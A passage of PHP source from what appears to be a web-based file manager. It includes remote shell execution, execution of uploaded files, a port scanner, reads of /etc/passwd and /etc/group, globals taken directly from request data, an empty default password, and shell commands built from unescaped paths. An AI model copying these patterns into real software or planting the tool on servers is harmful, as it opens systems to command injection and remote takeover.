fb_log(number_format((getmicrotime()-$script_init_time), 3, '.', '')."s"); } $is_windows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); $max_php_recursion_counter = 0; if(!isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO'])) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } function fix_directory_separator($str){ global $is_windows; if ($is_windows) $str = str_replace('/',DIRECTORY_SEPARATOR,$str); else $str = str_replace('\\',DIRECTORY_SEPARATOR,$str); return $str; } if(!isset($_SERVER['DOCUMENT_ROOT'])) { if (isset($_SERVER['SCRIPT_FILENAME'])) $path = $_SERVER['SCRIPT_FILENAME']; elseif (isset($_SERVER['PATH_TRANSLATED'])) $path = str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']); $_SERVER['DOCUMENT_ROOT'] = substr($path, 0, 0-strlen($_SERVER['PHP_SELF'])); } $_SERVER['DOCUMENT_ROOT'] = fix_directory_separator($_SERVER['DOCUMENT_ROOT']); if (!function_exists('get_magic_quotes_gpc') || get_magic_quotes_gpc()) { function stripslashes_deep($value){ return is_array($value)? array_map('stripslashes_deep', $value):$value; } $_POST = array_map('stripslashes_deep', $_POST); $_GET = array_map('stripslashes_deep', $_GET); $_COOKIE = array_map('stripslashes_deep', $_COOKIE); } // Register Globals (its an old script..) $blockKeys = array('_SERVER','_SESSION','_GET','_POST','_COOKIE'); foreach ($_GET as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val; foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val; foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false && $key != 'fm_current_dir' && $key != 'ace_wrap') $$key=$val; // PHP_VERSION_ID is available as of PHP 5.2.7, if our version is lower than that, then emulate it if (!defined('PHP_VERSION_ID')) { $php_version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($php_version[0] * 10000 + $php_version[1] * 100 + $php_version[2])); if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $php_version[0]); define('PHP_MINOR_VERSION', $php_version[1]); define('PHP_RELEASE_VERSION', $php_version[2]); } } // Server Vars function curl_server_online_check(){ if (function_exists('curl_init')){ @$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://phpfm.sf.net"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); @curl_exec($ch); $errnum = curl_errno($ch); @curl_close($ch); } return ($errnum == "0"); } function socket_get_lan_ip($dest='64.0.0.0', $port=80) { $addr = ''; if (function_exists('socket_create')){ $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); socket_connect($socket, $dest, $port); socket_getsockname($socket, $addr, $port); socket_close($socket); } return $addr; } function get_client_ip() { $ipaddress = ''; if ($_SERVER['HTTP_CLIENT_IP']) $ipaddress = $_SERVER['HTTP_CLIENT_IP']; else if($_SERVER['HTTP_X_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']; else if($_SERVER['HTTP_X_FORWARDED']) $ipaddress = $_SERVER['HTTP_X_FORWARDED']; else if($_SERVER['HTTP_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR']; else if($_SERVER['HTTP_FORWARDED']) $ipaddress = $_SERVER['HTTP_FORWARDED']; else if($_SERVER['HTTP_X_REAL_IP']) $ipaddress = $_SERVER['HTTP_X_REAL_IP']; else if($_SERVER['REMOTE_ADDR']) $ipaddress = $_SERVER['REMOTE_ADDR']; // proxy transparente não esconde o IP local, colocando ele após o IP da rede, separado por vírgula if (strpos($ipaddress, ',') !== false) { $ips = explode(',', $ipaddress); $ipaddress = trim($ips[0]); } if ($ipaddress == '::1' || $ipaddress == '127.0.0.1') $ipaddress = 'localhost'; return $ipaddress; } $ip = @get_client_ip(); $lan_ip = @socket_get_lan_ip(); function getServerURL() { $url = (lowercase($_SERVER['HTTPS']) == "on")?"https://":"http://"; if (strlen($_SERVER['SERVER_NAME'])) $url .= $_SERVER['SERVER_NAME']; elseif (strlen($_SERVER['HTTP_HOST'])) $url .= $_SERVER['HTTP_HOST']; if ($_SERVER['SERVER_PORT'] != "80" && $_SERVER['SERVER_PORT'] != "443") $url .= ":".$_SERVER['SERVER_PORT']; return $url; } function getCompleteURL() { return getServerURL().$_SERVER['REQUEST_URI']; } $url = @getCompleteURL(); $url_info = parse_url($url); $doc_root = rtrim($_SERVER['DOCUMENT_ROOT'],DIRECTORY_SEPARATOR); // ex: 'C:/htdocs' $url_root = rtrim(@getServerURL(),'/'); // ex. 'http://www.site.com' $fm_file = __FILE__; $fm_url = $url_root.$_SERVER['PHP_SELF']; $fm_path_info = pathinfo($fm_file); $open_basedir_ini = trim(@ini_get("open_basedir")); $open_basedirs = array(); if (strlen($open_basedir_ini)) { $dirs = array($open_basedir_ini); if ($is_windows) { if (strpos($open_basedir_ini,';') !== false) { $dirs = explode(';',$open_basedir_ini); } $dirs = array_map('ucfirst',$dirs); } else { if (strpos($open_basedir_ini,':') !== false) { $dirs = explode(':',$open_basedir_ini); } } foreach ($dirs as $dir) { $dir = rtrim($dir,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR; // fm_root must have trailing slash if (is_dir($dir)) $open_basedirs[] = $dir; } } $sys_lang = strtolower(substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2)); // +-------------------------------------------------- // | Config Class // +-------------------------------------------------- function object_to_array( $var ) { if( !is_object( $var ) && !is_array( $var ) ) { return $var; } if( is_object( $var ) ) { $var = get_object_vars( $var ); } return array_map( 'object_to_array', $var ); } function array_to_object( $var ) { if( !is_object( $var ) && !is_array( $var ) ) { return $var; } $obj = new stdClass(); foreach ($var as $key => $value) { if (strlen($key)) $obj->{$key} = array_to_object( $value ); } return $obj; } class config { var $data; function __construct(){ $this->data = array( 'lang'=>'', 'fm_root'=>'', 'timezone'=>'', 'date_format'=>'Y/m/d H:i', 'auth_pass'=>md5(''), 'error_reporting'=>1 ); } function save(){ global $fm_file; $config_string = "<?php".chr(13).chr(10)."//".json_encode($this->data).chr(13).chr(10); if (is_file($fm_file)){ $lines = file($fm_file); $script_start_line = 1; if (strpos($lines[0],'<?php') === 0 && strpos($lines[1],'//{"') === 0) $script_start_line = 2; if ($fh = @fopen($fm_file, "w")){ @fputs($fh,$config_string,strlen($config_string)); for ($x=$script_start_line;$x<count($lines);$x++) @fputs($fh,$lines[$x],strlen($lines[$x])); @fclose($fh); } } } function load(){ global $fm_file; $data = false; if (is_file($fm_file)){ $fh = fopen($fm_file, 'r'); $line1 = fgets($fh); $line2 = fgets($fh); $line3 = fgets($fh); fclose($fh); if (strpos($line1,'<?php') === 0 && strpos($line2,'//{"') === 0){ $config_string = trim(substr($line2,2)); if (strlen($config_string)) $data = object_to_array(json_decode($config_string)); } } if (is_array($data) && count($data)) $this->data = $data; foreach ($this->data as $key => $val) $GLOBALS[$key] = $val; } } // +-------------------------------------------------- // | Config Load // +-------------------------------------------------- $cfg = new config(); $cfg->load(); if (strlen($timezone)) @date_default_timezone_set($timezone); //@setlocale(LC_CTYPE, 'C'); //@ini_set('default_charset', $charset); @mb_internal_encoding($charset); @ini_set('mbstring.substitute_character','none'); // That will strip invalid characters from UTF-8 strings @ini_set("allow_url_fopen",1); @error_reporting(0); @ini_set("display_errors",0); if ($error_reporting > 0){ error_reporting(E_ERROR | E_PARSE | E_COMPILE_ERROR); @ini_set("display_errors",1); } function fb_log(){ global $error_reporting; if ($error_reporting < 2) return; if (!class_exists('ChromePhp')) return; $arguments = func_get_args(); if (func_num_args() > 1 && is_string($arguments[0])) { ChromePhp::log($arguments[0].': ',$arguments[1]); } else { ChromePhp::log($arguments[0]); } } if (!strlen($fm_current_root)) { if ($is_windows) { if (strpos($doc_root,":") !== false) $fm_current_root = ucfirst(substr($doc_root,0,strpos($doc_root,":")+1).DIRECTORY_SEPARATOR); // If doc_root has ":" take the drive letter $fm_current_root = ucfirst($doc_root.DIRECTORY_SEPARATOR); } else { $fm_current_root = "/"; // Linux default show root } } else { if ($is_windows) $fm_current_root = ucfirst($fm_current_root); } if (strlen($fm_root)){ $fm_current_root = $fm_root; } if (count($open_basedirs)){ $fm_current_root_ok = false; foreach ($open_basedirs as $open_basedir) { if (strpos($fm_current_root,$open_basedir) !== false) { $fm_current_root_ok = true; break; } } if (!$fm_current_root_ok) { $fm_path = rtrim($fm_path_info['dirname'],DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR; foreach ($open_basedirs as $open_basedir) { if (strpos($fm_path,$open_basedir) !== false) { $fm_current_root = $open_basedir; $fm_current_root_ok = true; break; } } } if (!$fm_current_root_ok){ $fm_current_root = $open_basedirs[0]; } } if (!isset($fm_current_dir)){ $fm_path = rtrim($fm_path_info['dirname'],DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR; if (strpos($fm_path,$fm_current_root) !== false) { $fm_current_dir = $fm_path; } else { $fm_current_dir = $fm_current_root; } if ($is_windows) $fm_current_dir = ucfirst($fm_current_dir); if (strlen($_COOKIE['fm_current_dir'])) { $fm_current_dir = $_COOKIE['fm_current_dir']; } } $fm_current_root = rtrim($fm_current_root,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR; $fm_current_dir = rtrim($fm_current_dir,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR; @chdir($fm_current_dir); // Note: So is_link(), is_file(), is_dir() and other functions work with relative paths too. //fb_log('fm_root',$fm_root); //fb_log('fm_current_root',$fm_current_root); //fb_log('fm_current_dir',$fm_current_dir); if (isset($set_resolve_ids)){ $resolve_ids=intval($set_resolve_ids); setcookie("resolve_ids", $resolve_ids, time()+$cookie_cache_time, "/"); } // +-------------------------------------------------- // | User/Group Functions // +-------------------------------------------------- $passwd_array = false; function get_user_name($uid) { global $is_windows, $passwd_array; if ($is_windows) return $uid; if ($passwd_array === false){ @system_exec_cmd("cat /etc/passwd",$passwd_file); $passwd_array = explode(chr(10),$passwd_file); } foreach ($passwd_array as $line) { $mat = explode(":",$line); if ($mat[2] == $uid){ return $mat[0]; } } if (function_exists('posix_getpwuid')) { $info = posix_getpwuid($uid); return $info['name']; } return $uid; } $group_array = false; function get_group_name($gid) { global $is_windows, $group_array; if ($is_windows) return $gid; if ($group_array === false){ @system_exec_cmd("cat /etc/group",$group_file); $group_array = explode(chr(10),$group_file); } foreach ($group_array as $line) { $mat = explode(":",$line); if ($mat[2] == $gid){ return $mat[0]; } } if (function_exists('posix_getgrgid')) { $info = posix_getgrgid($gid); return $info['name']; } return $gid; } function get_user_groups($user_name) { global $is_windows, $group_array; if ($is_windows) return array(); if ($group_array === false){ @system_exec_cmd("cat /etc/group",$group_file); $group_array = explode(chr(10),$group_file); } $resul = array(); $resul['ids'] = array(); $resul['names'] = array(); foreach ($group_array as $line) { $mat = explode(":",$line); $user_names = explode(",",$mat[3]); if (array_search($user_name,$user_names) !== false){ $resul['ids'][] = $mat[2]; $resul['names'][] = $mat[0]; } } return $resul; } function is_rwx_phpfm($file,$what='r'){ global $is_windows; // Note: You can only change the uid/euid of the current process when one of the two is currently set to 0 (root). // groupadd gteste // usermod -a -G gteste www-data // gpasswd -d www-data gteste if (!is_array($GLOBALS['script_info'])) { $GLOBALS['script_info'] = array(); $GLOBALS['script_info']['sys_uname'] = function_exists('posix_uname') ? @posix_uname() : ''; $GLOBALS['script_info']['sys_hostname'] = function_exists('gethostname') ? @gethostname() : ''; if (!strlen($GLOBALS['script_info']['sys_hostname'])){ $GLOBALS['script_info']['sys_hostname'] = @getenv('COMPUTERNAME'); } $GLOBALS['script_info']['script_user_id'] = function_exists('posix_getuid') ? @posix_getuid() : ''; $GLOBALS['script_info']['script_user_name'] = $GLOBALS['script_info']['script_user_id']; $GLOBALS['script_info']['script_user_home'] = ''; $GLOBALS['script_info']['script_user_shell'] = ''; $GLOBALS['script_info']['script_user_group_id'] = ''; $GLOBALS['script_info']['script_user_group_name'] = ''; $GLOBALS['script_info']['script_user_group_ids'] = array(); $GLOBALS['script_info']['script_user_group_names'] = array(); $GLOBALS['script_info']['script_group_id'] = function_exists('posix_getgid') ? @posix_getgid() : ''; $GLOBALS['script_info']['script_group_name'] = $GLOBALS['script_info']['script_group_id']; $GLOBALS['script_info']['script_group_members'] = ''; if ($GLOBALS['script_info']['script_user_id'] && function_exists('posix_getpwuid')) { $info = posix_getpwuid($GLOBALS['script_info']['script_user_id']); $GLOBALS['script_info']['script_user_home'] = $info['dir']; $GLOBALS['script_info']['script_user_shell'] = $info['shell']; $GLOBALS['script_info']['script_user_name'] = $info['name']; $GLOBALS['script_info']['script_user_group_id'] = $info['gid']; if (function_exists('posix_getgrgid')) { $info = posix_getgrgid($GLOBALS['script_info']['script_user_group_id']); $GLOBALS['script_info']['script_user_group_name'] = $info['name']; } $info = get_user_groups($GLOBALS['script_info']['script_user_name']); $GLOBALS['script_info']['script_user_group_ids'] = $info['ids']; $GLOBALS['script_info']['script_user_group_names'] = $info['names']; array_unshift($GLOBALS['script_info']['script_user_group_ids'], $GLOBALS['script_info']['script_user_group_id']); array_unshift($GLOBALS['script_info']['script_user_group_names'], $GLOBALS['script_info']['script_user_group_name']); } if (!strlen($GLOBALS['script_info']['script_user_name'])) { if (!system_exec_cmd('whoami',$GLOBALS['script_info']['script_user_name'])) { $GLOBALS['script_info']['script_user_name'] = ''; } } if (!strlen($GLOBALS['script_info']['script_user_name']) && function_exists('get_current_user')) { $GLOBALS['script_info']['script_user_name'] = get_current_user(); } if (!strlen($GLOBALS['script_info']['script_user_name'])){ $GLOBALS['script_info']['script_user_name'] = @getenv('USERNAME') ? : @getenv('USER'); } if ($is_windows && strpos($GLOBALS['script_info']['script_user_name'],'\\') !== false){ $GLOBALS['script_info']['script_user_name'] = ucfirst(substr($GLOBALS['script_info']['script_user_name'],strpos($GLOBALS['script_info']['script_user_name'],'\\')+1)); } if (function_exists('posix_getgrgid')) { $info = posix_getgrgid($GLOBALS['script_info']['script_group_id']); $GLOBALS['script_info']['script_group_name'] = $info['name']; $GLOBALS['script_info']['script_group_members'] = $info['members']; } fb_log($GLOBALS['script_info']); } $file_info = array(); $file_info['name'] = $file; $file_stat = stat($file); $file_info['nlinks'] = $file_stat['nlink']; $file_info['perms'] = fileperms($file); $file_info['owner'] = fileowner($file); $file_info['group'] = filegroup($file); $file_info['is_owner_readable'] = ($file_info['perms'] & 0x0100); $file_info['is_group_readable'] = ($file_info['perms'] & 0x0020); $file_info['is_world_readable'] = ($file_info['perms'] & 0x0004); $file_info['is_readable'] = false; if ($file_info['is_world_readable']) { $file_info['is_readable'] = true; } if ($file_info['is_group_readable']) { foreach ($GLOBALS['script_info']['script_user_group_ids'] as $gid) { if ($file_info['group'] == $gid) { $file_info['is_readable'] = true; break; } } } if ($file_info['is_owner_readable'] && $file_info['owner'] == $GLOBALS['script_info']['script_user_id']) { $file_info['is_readable'] = true; } $file_info['is_owner_writable'] = ($file_info['perms'] & 0x0080); $file_info['is_group_writable'] = ($file_info['perms'] & 0x0010); $file_info['is_world_writable'] = ($file_info['perms'] & 0x0002); $file_info['is_writable'] = false; if ($file_info['is_world_writable']) { $file_info['is_writable'] = true; } if ($file_info['is_group_writable']) { foreach ($GLOBALS['script_info']['script_user_group_ids'] as $gid) { if ($file_info['group'] == $gid) { $file_info['is_writable'] = true; break; } } } if ($file_info['is_owner_writable'] && $file_info['owner'] == $GLOBALS['script_info']['script_user_id']) { $file_info['is_writable'] = true; } $file_info['is_owner_executable'] = ($file_info['perms'] & 0x0040); $file_info['is_group_executable'] = ($file_info['perms'] & 0x0400); $file_info['is_world_executable'] = ($file_info['perms'] & 0x0001); $file_info['is_executable'] = false; if ($file_info['is_world_executable']) { $file_info['is_executable'] = true; } if ($file_info['is_group_executable']) { foreach ($GLOBALS['script_info']['script_user_group_ids'] as $gid) { if ($file_info['group'] == $gid) { $file_info['is_executable'] = true; break; } } } if ($file_info['is_owner_executable'] && $file_info['owner'] == $GLOBALS['script_info']['script_user_id']) { $file_info['is_executable'] = true; } if ($what == 'r') return $file_info['is_readable']; if ($what == 'w') return $file_info['is_writable']; if ($what == 'x') return $file_info['is_executable']; return false; } function is_readable_phpfm($file){ return is_rwx_phpfm($file,'r'); } function is_writable_phpfm($file){ return is_rwx_phpfm($file,'w'); } function is_executable_phpfm($file){ return is_rwx_phpfm($file,'x'); } // +-------------------------------------------------- // | File Manager Actions // +-------------------------------------------------- if ($action != '99') { header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Content-Type: text/html; charset=".$charset); } if ($auth_pass == md5('') || $loggedon==$auth_pass){ switch ($frame){ case 1: break; // Empty Frame case 2: frame2(); break; case 3: frame3(); break; default: switch($action){ case 1: logout(); break; case 2: config_form(); break; case 3: download(); break; case 4: view_form(); break; case 5: server_info_form(); break; case 6: break; case 7: edit_file_form(); break; case 8: chmod_form(); break; case 9: shell_form(); break; case 10: upload_form(); break; case 11: system_exec_file(); break; case 12: portscan_form(); break; case 14: dir_list_update_total_size(); break; case 99: get_base64_file(); break; default: if ($noscript) login_form(); else frameset(); } } } elseif (strlen($pass)) { login(); } else { login_form(); } // +-------------------------------------------------- // | File System // +-------------------------------------------------- function symlink_phpfm($target,$link){ global $is_windows; $ok = false; if (!$is_windows){ // symlink() function not available on windows if (function_exists('symlink')) { $ok = symlink($target,$link); } else { $GLOBALS['dir_list_warn_message'] .= 'Error: php symlink() function is disabled.<br>'; } } if (!$ok){ $cmd = ''; if ($is_windows){ //$runas = 'runas /noprofile /user:Administrator '; if (is_dir($target)) $cmd = $runas.'mklink /D '.escapeshellarg($link).' '.escapeshellarg($target); else $cmd = $runas.'mklink '.escapeshellarg($link).' '.escapeshellarg($target); } else { $cmd = 'ln -s '.escapeshellarg($target).' '.escapeshellarg($link); } $output = ''; $ok = system_exec_cmd($cmd,$output); if (!$ok) { $GLOBALS['dir_list_warn_message'] .= 'CMD: '.$cmd.'<br>'; $GLOBALS['dir_list_warn_message'] .= $output.'<br>'; } // link() function is available on windows (Vista, Server 2008 or greater) // if everything failed, try to create a hardlink to the file instead if (!$ok && !is_dir($target) && $is_windows) { if (function_exists('link')) { $ok = link($target,$link); } else { $GLOBALS['dir_list_warn_message'] .= 'Error: php link() function is disabled.<br>'; } } } return $ok; } function link_phpfm($target,$link){ global $is_windows; if (is_dir($target)) { // hardlinks to directories are not allowed, create symlink instead // https://askubuntu.com/questions/210741/why-are-hard-links-not-allowed-for-directories return symlink_phpfm($target,$link); } $ok = false; if (function_exists('link')) { // link() function is available on windows (Vista, Server 2008 or greater) $ok = link($target,$link); } else { $GLOBALS['dir_list_warn_message'] .= 'Error: php link() function is disabled.<br>'; } if (!$ok){ $cmd = ''; if ($is_windows){ //$runas = 'runas /noprofile /user:Administrator '; $cmd = $runas.'mklink /H '.escapeshellarg($link).' '.escapeshellarg($target); } else { $cmd = 'ln '.escapeshellarg($target).' '.escapeshellarg($link); } $output = ''; $ok = system_exec_cmd($cmd,$output); if (!$ok) { $GLOBALS['dir_list_warn_message'] .= 'CMD: '.$cmd.'<br>'; $GLOBALS['dir_list_warn_message'] .= $output.'<br>'; } } return $ok; } function phpfm_get_total_size($path){ $total_size = false; $dir_cookiename = 'dir_'.hash('crc32',fix_cookie_name($path),FALSE); if (strlen($_COOKIE[$dir_cookiename])) { $total_size = $_COOKIE[$dir_cookiename]; if ($total_size != 'error'){ return intval($total_size); } return $total_size; } $total_size = system_get_total_size($path); if ($total_size !== false) { setcookie((string)$dir_cookiename, (string)$total_size, 0 , "/"); } return $total_size; } function dir_list_update_total_size(){ global $fm_current_dir, $dirname; $path = rtrim($fm_current_dir,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$dirname; $total_size = system_get_total_size($path); if ($total_size === false) { $total_size = php_get_total_size($path); } if ($total_size === false) { $total_size = 'error'; } $dir_cookiename = 'dir_'.hash('crc32',fix_cookie_name($fm_current_dir.$dirname),FALSE); setcookie((string)$dir_cookiename, (string)$total_size, 0 , "/"); echo $total_size; die(); } // INFO: php filesize() returns ZERO for files over 4Gb function phpfm_filesize($file){ $filesize = intval(filesize($file)); if ($filesize <= 0) $filesize = system_get_total_size($file); return $filesize; } function system_get_total_size($path){ global $is_windows; $total_size = false; if ($is_windows){ if (class_exists('COM')) { $fsobj = new COM('Scripting.FileSystemObject'); if (is_object($fsobj)) { try { if (is_dir($path)) $ref = $fsobj->GetFolder($path); else $ref = $fsobj->GetFile($path); if (is_object($ref)) { $total_size = floatval($ref->size); $fsobj = null; unset($fsobj); } } catch (Exception $e) { } } } if ($total_size === false) { if (is_file($path)){ $output = ''; if (system_exec_cmd('for %I in ('.$path.') do @echo %~zI',$output)){ $total_size = floatval($output); } } } } else { $output = ''; if (system_exec_cmd('du -sb '.$path,$output)){ $total_size = floatval(substr($output,0,strpos($output,"\t"))); } } if ($total_size === false) fb_log('system_get_total_size("'.$path.'") = FALSE'); else fb_log('system_get_total_size("'.$path.'") = '.format_size($total_size)); return $total_size; } function php_get_total_size($path) { global $debug_mode,$max_php_recursion_counter; $max_php_recursion_counter = 0; $total_size = php_get_total_size_execute($path); if ($total_size === false) fb_log('php_get_total_size("'.$path.'") = false'.' (recursion: '.$max_php_recursion_counter.')'); else fb_log('php_get_total_size("'.$path.'") = '.format_size($total_size).' (recursion: '.$max_php_recursion_counter.')'); return $total_size; } function php_get_total_size_execute($path) { global $debug_mode,$max_php_recursion,$max_php_recursion_counter; fb_log('php_get_total_size_execute',$path); if ($debug_mode) return 0; $total_size = 0; if (is_dir($path)) { $entry_list = scandir(fs_encode($path)); foreach ($entry_list as $entry) { if ($entry == "." || $entry == "..") continue; if (is_dir($path.DIRECTORY_SEPARATOR.$entry)) { if ($max_php_recursion_counter >= $max_php_recursion) { return false; } $max_php_recursion_counter++; $size = php_get_total_size_execute($path.DIRECTORY_SEPARATOR.$entry); if ($size === false) { return false; } $total_size += $size; } else { $total_size += phpfm_filesize($path.DIRECTORY_SEPARATOR.$entry); } } } else { $total_size = phpfm_filesize($path); } return $total_size; } function php_shred($filepath) { // Based on https://github.com/DanielRuf/secure-shred (MIT license) // https://www.aldeid.com/wiki/Secure-delete-files // TODO: test write each pass, and rename the file before delete. try { // clear stat cache to avoid falsely reported file status // use $filepath parameter to possibly improve performance clearstatcache(true, $filepath); if (is_file($filepath) && is_readable($filepath) && is_writable($filepath)) { $read = new \SplFileObject($filepath, 'r'); $write = new \SplFileObject($filepath, 'r+'); while (!$read->eof()) { $line_pos = $read->ftell(); $line_content = $read->fgets(); $line_length = strlen($line_content); if ($line_length === 0) continue; for ($n=0;$n<3;$n++) { // does 3 overwrites per line $write->fseek($line_pos); $write->fwrite(random_bytes($line_length)); $write->fflush(); } } $write->ftruncate(0); $read = $write = null; return unlink($filepath); } } catch(\Exception $e) { fb_log($e->getMessage().' ('.$e->getCode().')'); } return false; } function total_delete($path,$followlinks=false,$checkhardlinks=true) { global $debug_mode; fb_log('total_delete',$path); if ($debug_mode) return; // TODO: $checkhardlinks will not allow to delete anything that has other links on the system, using stat() to avoid creating brokenlinks. Add a warning and complete action;. if (file_exists($path)) { @chmod($path,0755); if (is_dir($path)) { $entry_list = scandir(fs_encode($path)); foreach ($entry_list as $entry) { if ($entry == "." || $entry == "..") continue; if ($followlinks == false && is_link(rtrim($path,DIRECTORY_SEPARATOR))) continue; total_delete($path.DIRECTORY_SEPARATOR.$entry,$followlinks,$checkhardlinks); } if (is_link($path)) @unlink($path); else @rmdir($path); } else { @unlink($path); } } elseif (is_link($path)) { @unlink($path); // Broken links must be removed } } function total_copy($orig,$dest,$copylinks=true,$followlinks=false) { global $debug_mode; fb_log('total_copy',$orig.' => '.$dest); if ($debug_mode) return; $ok = true; if (file_exists($orig) || is_link($orig)) { if ($copylinks == true && is_link($orig)){ $ok = link_phpfm(readlink($orig), $dest); if (!$ok) $ok = link_phpfm($orig, $dest); // Allow copy of broken links, but rather copy the link to the target, as the link was. } elseif (is_dir($orig)) { $ok = mkdir(fs_encode($dest),0755); if ($ok) { $entry_list = scandir(fs_encode($orig)); foreach ($entry_list as $entry) { if ($entry == "." || $entry == "..") continue; if ($followlinks == false && is_link(rtrim($orig,DIRECTORY_SEPARATOR))){ $ok = link_phpfm(readlink($orig.DIRECTORY_SEPARATOR.$entry), $dest.DIRECTORY_SEPARATOR.$entry); } else { $ok = total_copy($orig.DIRECTORY_SEPARATOR.$entry, $dest.DIRECTORY_SEPARATOR.$entry, $copylinks, $followlinks); } if (!$ok) break; } } } else { $ok = copy((string)$orig,(string)$dest); } } return $ok; } function total_move($orig,$dest) { global $debug_mode; fb_log('total_move',$orig.' => '.$dest); if ($debug_mode) return; // Just why doesn't it has a MOVE alias?! return rename((string)$orig,(string)$dest); } function download(){ global $fm_current_dir,$filename,$debug_mode; $file = $fm_current_dir.$filename; fb_log('download',$file); if ($debug_mode) return; if(file_exists($file)){ $is_denied = false; foreach($download_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ $size = phpfm_filesize($file); header("Content-Type: application/save"); header("Content-Length: $size"); header("Content-Disposition: attachment; filename=\"".$filename."\""); header("Content-Transfer-Encoding: binary"); if ($fh = fopen("$file", "rb")){ ob_get_flush(); // Flush the output buffer and turn off output buffering, to allow direct download of big files fpassthru($fh); fclose($fh); } else alert(et('ReadDenied').": ".$file); } else alert(et('ReadDenied').": ".$file); } else alert(et('FileNotFound').": ".$file); } // Returns the full path of the current PHP executable function linux_get_proc_name(){ $output = ''; $ok = system_exec_cmd("readlink -f /proc/".posix_getpid()."/exe",$output); if (!$ok) return false; return $output; } function system_exec_file(){ global $fm_current_dir,$filename,$debug_mode,$is_windows; fb_log('system_exec_file',$filename); if ($debug_mode) return; header("Content-type: text/plain"); $file = $fm_current_dir.$filename; if(file_exists($file)){ if (!is_executable($file)) @chmod($file,0755); if (is_executable($file)) { $fm_current_dir = get_absolute_path($fm_current_dir); $cmd_line = ''; if ($is_windows) { $cmd_line .= "cd /D ".$fm_current_dir." && "; } else { $cmd_line .= "cd ".$fm_current_dir." && "; } // TODO: verificar e usar interpretador correto // php -f /script.php // bash /script.sh // sh /script.sh // python /script.py // perl /script.pl $cmd_line .= $file; echo "# ".$cmd_line."\n"; system_exec_cmd($cmd_line, $output); echo $output; } else echo('Error: '.$file.' is not executable...'); } else echo(et('FileNotFound').": ".$file); } function save_upload($temp_file,$filename,$dir_dest) { global $upload_ext_filter,$debug_mode,$is_windows; fb_log('save_upload',$temp_file.' => '.$dir_dest.$filename); if ($debug_mode) return; $filename = remove_special_chars($filename); $file = $dir_dest.$filename; $filesize = phpfm_filesize($temp_file); $is_denied = false; $output = ''; foreach($upload_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ if (!check_limit($filesize)){ if (file_exists($file)){ if (unlink($file)){ if (copy($temp_file,$file)){ // https://stackoverflow.com/questions/23851821/setting-file-permissions-in-windows-with-php if ($is_windows) system_exec_cmd('icacls "'.$file.'" /q /c /reset', $output); else @chmod($file,0644); $out = 6; } else $out = 2; } else $out = 5; } else { if (copy($temp_file,$file)){ if ($is_windows) system_exec_cmd('icacls "'.$file.'" /q /c /reset', $output); else @chmod($file,0644); $out = 1; } else $out = 2; } } else $out = 3; } else $out = 4; return $out; } // Note: readlink() may return a relative path, with or without ./, and that is not good for is_file() is_dir() and broken link evaluation, because we can´t always chdir() to the link basepath. function readlink_absolute_path($path){ global $is_windows; if (!is_link($path)) return $path; $target = readlink($path); if (strpos($target,'.'.DIRECTORY_SEPARATOR) === 0){ $target = substr($target,2); // remove ./ } if (($is_windows && substr($target,2,1) != ':') || (!$is_windows && substr($target,0,1) != DIRECTORY_SEPARATOR)){ // check if does not start with C: or / = relative path $target = substr($path,0,strrpos($path,DIRECTORY_SEPARATOR)+1).$target; // complete the target using origin path } return $target; } // +-------------------------------------------------- // | Data Formating // +-------------------------------------------------- function fix_cookie_name($str){ $str = remove_acentos(trim($str)); $str = str_replace('\\', '_', $str); $str = str_replace('/', '_', $str); $str = str_replace(':', '_', $str); $str = str_replace('*', '_', $str); $str = str_replace('?', '_', $str); $str = str_replace('"', '_', $str); $str = str_replace('<', '_', $str); $str = str_replace('>', '_', $str); $str = str_replace('|', '_', $str); $str = str_replace(' ', '_', $str); $str = str_strip($str,"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-0123456789"); $str = replace_double('_', $str); $str = trim($str,'_'); return $str; } // http://www.ietf.org/rfc/rfc1738.txt // The characters ";", "/", "?", ":", "@", "=" and "&" are the characters which may be reserved for special meaning within a scheme. No other characters may be reserved within a scheme. // Thus, only alphanumerics, the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL. function fix_url($str) { // Remove acentos $str = remove_acentos($str); // Substitui caracteres reservados $str = str_replace(';', '-', $str); $str = str_replace('/', '-', $str); $str = str_replace('?', '-', $str); $str = str_replace(':', '-', $str); $str = str_replace('@', '-', $str); $str = str_replace('=', '-', $str); $str = str_replace('&', '-', $str); // Caracteres adicionais $str = str_replace('(', '-', $str); $str = str_replace(')', '-', $str); $str = str_replace('.', '-', $str); $str = str_replace('_', '-', $str); $str = str_replace(' ', '-', $str); // Apenas caracteres válidos $str = str_strip($str, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890.-"); $str = replace_double('-', $str); $str = trim($str,'-'); return $str; } function fix_filename($str,$allowSpaces=false){ // no filesystem não podemos ter acentos $str = remove_acentos(trim($str)); // Substitui caracteres reservados $str = str_replace('\\', '_', 